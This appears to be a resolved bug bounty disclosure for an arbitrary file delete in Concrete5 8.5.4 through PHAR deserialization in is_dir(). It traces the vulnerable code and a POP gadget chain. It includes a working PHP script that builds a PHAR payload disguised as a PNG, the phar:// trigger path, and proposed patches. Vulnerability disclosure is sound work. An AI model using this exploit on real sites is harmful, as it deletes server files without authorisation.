Loading HuntDB...

Arbitrary File delete via PHAR deserialization

High
C
Concrete CMS
Submitted None
Reported by reset

Vulnerability Details

Technical details and impact analysis

Deserialization of Untrusted Data
crayons :) ### Concrete5 Arbitrary File delete via PHAR deserialization - Target: Concrete5 - Version: 8.5.4 (Latest at 2020. 07. 12) / PHP 7.2 - Credit: [WSP Lab](https://wsp-lab.github.io/)@KAIST - Contact: [email protected] #### TL; DR - An attacker can send an arbitrary input value in the is_dir() function, which causes a PHAR deserialization bug. By using this bug, `the attacker possible to exploit that deletes arbitrary files.` ### Background - PHP Object Injection (PHP deserialization): When an attacker controls a serialized object that is passed into unserialize(), she can control the properties of the created object. This will then allow her the opportunity to hijack the flow of the application, by controlling the values passed into magic methods like __wakeup() [1]. - PHAR deserialization: The attack surface of the PHP deserialization vulnerability has been extended. With the parameter of filesystem function (`file_exists()`, `is_dir()`, etc.) under control, this method can be used with `phar://` pseudo-protocol to directly perform deserialization without relying on `unserialize()`[2]. ### Bug analyzing #### Endpoint - Navigation: Dashboard => System&Settings => File Storage Location => Add Location {F903876} #### Bug flow - When attackers add optional file storage locations at the endpoint, the server executes `validateStorageRequest()` method to validate the location path code, which is (a). ```php - File: concrete/controllers/single_page/dashboard/system/files/storage.php - Line: 131 ~ 148 public function add() { $type = $this->validateStorageRequest(); // ................................................... (a) if (!$this->token->validate('add')) { $this->error->add($this->token->getErrorMessage()); } if (!$this->error->has()) { $configuration = $type->getConfigurationObject(); $configuration->loadFromRequest($this->request); $factory = $this->app->make(StorageLocationFactory::class); /* @var StorageLocationFactory $factory */ $location = $factory->create($configuration, $this->request->request->get('fslName')); $location->setIsDefault($this->request->request->get('fslIsDefault')); $location = $factory->persist($location); $this->redirect('/dashboard/system/files/storage', 'storage_location_added'); } $this->set('type', $type); } ``` - Next, the request that the attacker sent will be transported to validateRequest() as a parameter - (b). ```php - File: concrete/controllers/single_page/dashboard/system/files/storage.php - Line: 64 ~ 81 protected function validateStorageRequest() { $val = $this->app->make('helper/validation/strings'); $type = Type::getByID($this->request->get('fslTypeID')); if ($type === null) { $this->error->add(t('Invalid type object.')); } else { $e = $type->getConfigurationObject()->validateRequest($this->request); // ................... (b) if (is_object($e)) { $this->error->add($e); } } if (!$val->notempty($this->request->request->get('fslName'))) { $this->error->add(t('Your file storage location must have a name.')); } return $type; } ``` - Finally, `is_dir` function will be executed by user input without any sanitization. ```php - File: concrete/src/File/StorageLocation/Configuration/LocalConfiguration.php - Line: 75 ~ 102 public function validateRequest(\Concrete\Core\Http\Request $req) { $app = Application::getFacadeApplication(); $e = $app->make('error'); $data = $req->get('fslType'); $fslID = $req->get('fslID'); $locationHasFiles = false; $locationRootPath = null; if (!empty($fslID)) { $location = $app->make(StorageLocationFactory::class)->fetchByID($fslID); if (is_object($location)) { $locationHasFiles = $location->hasFiles(); $locationRootPath = $location->getConfigurationObject()->getRootPath(); } } $this->path = $data['path']; if (!$this->path) { $e->add(t("You must include a root path for this storage location.")); } elseif (!is_dir($this->path)) { // ......................................................... (c) $e->add(t("The specified root path does not exist.")); } elseif ($this->path == '/') { $e->add(t('Invalid path to file storage location. You may not choose the root directory.')); } elseif ($locationHasFiles && $locationRootPath !== $this->path) { $e->add(t('You can not change the root path of this storage location because it contains files.')); } return $e; } ``` - In other words, an attacker can send an arbitrary path, which is executed with the parameter of is_dir(). Even if the path has "phar://" schema. ### Exploit - To exploit this bug, I will use POP (Property Oriented Programming) technique [3]. - To chain gadgets, I found 3 nice gadgets to delete some files. #### Gadgets - Gadget #1. VolatileDirectory::__destruct() - It will naturally execute below codes when PHP terminated. Because, __destruct is magic method that invoked when class destructed. ```php // File: concrete/src/File/Service/VolatileDirectory.php // Class: VolatileDirectory // Line: 75 ~ 84 public function __destruct() { if ($this->path !== null) { try { $this->filesystem->deleteDirectory($this->path); // ....................... (d) } catch (Exception $foo) { } $this->path = null; } } ``` - Gadget #2. Filesystem::deleteDirectory() ```php // File: concrete/vendor/illuminate/filesystem/Filesystem.php // Class: Filesystem // Line: 473 ~ 502 public function deleteDirectory($directory, $preserve = false) { if (! $this->isDirectory($directory)) { return false; } $items = new FilesystemIterator($directory); foreach ($items as $item) { // If the item is a directory, we can just recurse into the function and // delete that sub-directory otherwise we'll just delete the file and // keep iterating through each file until the directory is cleaned. if ($item->isDir() && ! $item->isLink()) { $this->deleteDirectory($item->getPathname()); } // If the item is just a file, we can go ahead and delete it since we're // just looping through and waxing all of the files in this directory // and calling directories recursively, so we delete the real path. else { $this->delete($item->getPathname()); // ............................ (e) } } if (! $preserve) { @rmdir($directory); } return true; } ``` - Gadget #3. Filesystem::delete() ```php // File: concrete/vendor/illuminate/filesystem/Filesystem.php // Class: Filesystem // Line: 148 ~ 165 public function delete($paths) { $paths = is_array($paths) ? $paths : func_get_args(); $success = true; foreach ($paths as $path) { try { if (! @unlink($path)) { // ........................................ (f) $success = false; } } catch (ErrorException $e) { $success = false; } } return $success; } ``` #### Exploit code #### Stage #1. Make PHAR file to exploit. ```php // Input: None // Output: concrete5_exploit.png <?php // Gadgets namespace Illuminate\Filesystem{ class Filesystem{} } namespace Concrete\Core\File\Service{ class VolatileDirectory{ protected $filesystem; protected $path; function __construct(){ $this->filesystem = new \Illuminate\Filesystem\Filesystem; $this->path = "/var/www/html/phar_exploit/test_dir"; // Directory that including some files. (Attacker can set any path.) } } } // Generate phar file to exploit namespace{ $output_path = __DIR__; $exploit_file = $output_path . "/concrete5_exploit.phar"; $phar = new Phar($exploit_file); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();"); $payload = new \Concrete\Core\File\Service\VolatileDirectory; $phar->setMetadata($payload); $phar->addFromString("dummy.txt", "DUMMY"); $phar->stopBuffering(); // Change file extension PHAR to PNG. (for bypassing file upload restrictions) $changing_file_name = "concrete5_exploit.png"; $changing_internal_full_path = $output_path . "/" . $changing_file_name; rename($exploit_file, $changing_file_name); } // Run below command to make PHAR file. // php generate_exploit.php ``` #### Stage #2. Upload PHAR file. - Fortunately, concrete5 supports file upload featue. - Navigation: Dashboard => Files => File Manager => Upload Files {F903877} {F903878} #### Stage #3. Triggering PHAR deserialization bug. - Navigation: Dashboard => System&Settings => File Storage Location => Add Location - Payload: `phar://./application/files/6815/9449/9442/concrete5_exploit.png` {F903879} #### Exploit Before / After - Before (Directory: /var/www/html/phar_exploit/test_dir) {F903880} - After (Directory) {F903881} - test1/2/3.txt were deleted by exploit. ### Patch - To avoid PHAR deserialization bug, you should not fully trust the user's input. You can sanitize a user's input in various ways. 1. Occurring an error when the user enters "phar://". ```php <?php // input_path is phar://path/to/file if(strpos($input_path, "phar://") !== FALSE){ trigger_error("Detected phar wrapper!", E_USER_ERROR); // phar detected. } else{ is_dir($input_path); } ?> ``` 2. Forcing path setting as a prefix. ```php <?php // input_path is phar://path/to/file $sanitized_path = "/" . $input_path; // sanitized_path is /phar://path/to/file // Therefore, PHP wouldn't recognize that file is phar wrapped file. is_dir($sanitized_path); ?> ``` ### Reference [1] https://blog.usejournal.com/diving-into-unserialize-phar-deserialization-98b1254380e9 [2] https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066 [3] Stefan Esser, Utilizing Code Reuse/Return Oriented Programming in PHP Web Application Exploits, Blackhat USA 2010 ## Impact - Attacker could delete any files on the server. - This report is just one example of using this bug. - In other words, if an attacker using other gadgets to exploit (POP technique) this bug, It will potentially generate various exploits including XSS and SQL injection, remote code execution, and so on.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Deserialization of Untrusted Data